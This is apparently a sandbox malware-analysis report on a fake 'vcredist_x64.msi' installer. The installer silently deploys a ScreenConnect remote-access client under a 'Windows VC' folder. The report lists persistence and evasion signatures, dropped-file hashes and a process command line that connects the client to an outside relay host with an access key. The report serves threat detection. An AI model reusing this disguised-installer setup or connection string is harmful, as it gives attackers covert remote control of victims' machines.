Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    15/04/2026, 19:08

General

  • Target
    vcredist_x64.msi
  • Size 11.2MB
  • Sample260415-xtbnsabs9z
  • SHA256 df4fb9409d9a7a8bf6b2188934ba62b43eaaa701957084f440d1b94f2bba5e3c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\vcredist_x64.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:996
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3680
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A5A8DAEF82DB85C7D082316496F95737 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5420
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1AC6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240655312 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5400
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3940
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 26E0F684EC0D2C997EE9B98D568D82D6
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5616
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1A72FA3222916DFB108C15B901D7FE33 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1704
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5592
    • C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=rasedy.com&p=8041&s=04627bb0-8bd7-48ac-bc40-d13ad16df80f&k=BgIAAACkAABSU0ExAAgAAAEAAQDJxP%2fynUOTae5ssuYWVHrU4HTanLucRagDXq2BmSllBpx%2bWAeuO9bjRrnhVmQRkEtkzxKRPiB2%2bMLj6rFLbkqMetsypbZINyFKLPFLk8eMR8uvdHYNyRLISJHQUEgHJf5tMgzFgshhi9PNAD2%2bJC%2bBaasbd5w66%2fuQIpVHrWu%2fnyD68nLllpPhGPEl2p5MD30CyjB8Ft1i4rxF8XrKGYvYLCFvK4p97JIOoarvydVUN5RYziZFgSbH9eUCMvHF7Kvgwdg1mE6GC2EjON0q4dyP7iWCLguvOmyUQm%2f3tsHEaVhmZ3ZAYP25qgXDW5wE22kGPDZHSJF01EK8K%2b8h%2b0DF&c=hibit-uninstaller&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1120
      • C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe" "RunRole" "a6d37d12-ba29-4b5a-8475-3e2c7381c5fe" "User"
        2⤵
        • Executes dropped EXE
        PID:5576
      • C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe" "RunRole" "4fd5842c-d5d0-4ea5-8120-376d1faa3772" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:660

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e58536b.rbs

          • Path C:\Config.Msi\e58536b.rbs
          • Size 213KB
          • SHA256 085bc680d763f85c745503efc15d29afd20ac159b9033329e9a7cda7eb44cd14
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\Windows VC\Client.Override.resources
          • Size 2KB
          • SHA256 aaffb808333049bb6b01318bad1e1a19990814f7d33bee37bc94e1e09f15bbcb
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\Windows VC\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\Windows VC\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\Windows VC\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\Windows VC\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\Windows VC\system.config
          • Size 936B
          • SHA256 f100dcb709cbd947e0b285fcb706561338c477b1f134f4766a13c61a07b58781
          • MD5 SHA1 SHA512 TLSH

          MSI1AC6.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1AC6.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1AC6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1AC6.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1AC6.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI1AC6.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI54B4.tmp

          • Path C:\Windows\Installer\MSI54B4.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e58536a.msi

          • Path C:\Windows\Installer\e58536a.msi
          • Size 11.2MB
          • SHA256 df4fb9409d9a7a8bf6b2188934ba62b43eaaa701957084f440d1b94f2bba5e3c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 0beaccee30bc5e9a54ecf8153c4833a328035c6312ff3db6920c3b7c62efc89e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {f5322da2-54ae-48e4-ae52-e24c0dfc1744}_OnDiskSnapshotProp

          • Path \??\Volume{d3d389e6-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f5322da2-54ae-48e4-ae52-e24c0dfc1744}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4b34117e9d99b9e3fdc41d9a4045608efeadb8a9125271488d36f4c5dbc179cf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/660-128-0x0000000002F60000-0x0000000002FA1000-memory.dmp

          memory/660-130-0x0000000001530000-0x0000000001561000-memory.dmp

          memory/660-131-0x0000000002D60000-0x0000000002D6C000-memory.dmp

          memory/996-38-0x000002EED71E0000-0x000002EED7211000-memory.dmp

          memory/996-109-0x000002EED71E0000-0x000002EED7211000-memory.dmp

          memory/1120-97-0x0000000003C10000-0x0000000003C51000-memory.dmp

          memory/1120-102-0x0000000004090000-0x0000000004165000-memory.dmp

          memory/1120-93-0x0000000003EA0000-0x0000000003F32000-memory.dmp

          memory/1120-92-0x0000000003BD0000-0x0000000003C06000-memory.dmp

          memory/1120-88-0x0000000003B80000-0x0000000003BD0000-memory.dmp

          memory/1120-77-0x0000000001190000-0x00000000011A8000-memory.dmp

          memory/1120-134-0x0000000001170000-0x0000000001189000-memory.dmp

          memory/1120-135-0x00000000038B0000-0x0000000003971000-memory.dmp

          memory/5400-30-0x0000000004D40000-0x0000000004EEC000-memory.dmp

          memory/5400-22-0x00000000026B0000-0x00000000026BA000-memory.dmp

          memory/5400-37-0x0000000000760000-0x0000000000821000-memory.dmp

          memory/5400-18-0x0000000002680000-0x00000000026AE000-memory.dmp

          memory/5400-26-0x0000000004B00000-0x0000000004B8E000-memory.dmp

          memory/5400-31-0x00000000054A0000-0x0000000005A46000-memory.dmp

          memory/5576-126-0x0000000002890000-0x00000000028D1000-memory.dmp

          memory/5576-125-0x0000000002870000-0x0000000002888000-memory.dmp

          memory/5576-120-0x0000000002820000-0x0000000002856000-memory.dmp

          memory/5576-124-0x00000000027E0000-0x00000000027F8000-memory.dmp

          memory/5576-121-0x000000001B670000-0x000000001B6FE000-memory.dmp

          memory/5576-123-0x000000001BBF0000-0x000000001BD78000-memory.dmp

          memory/5576-119-0x0000000000610000-0x00000000006A8000-memory.dmp

          memory/5576-122-0x000000001B8B0000-0x000000001BA5C000-memory.dmp

          memory/5576-137-0x0000000000FE0000-0x0000000000FEC000-memory.dmp

          memory/5576-136-0x0000000000D40000-0x0000000000D71000-memory.dmp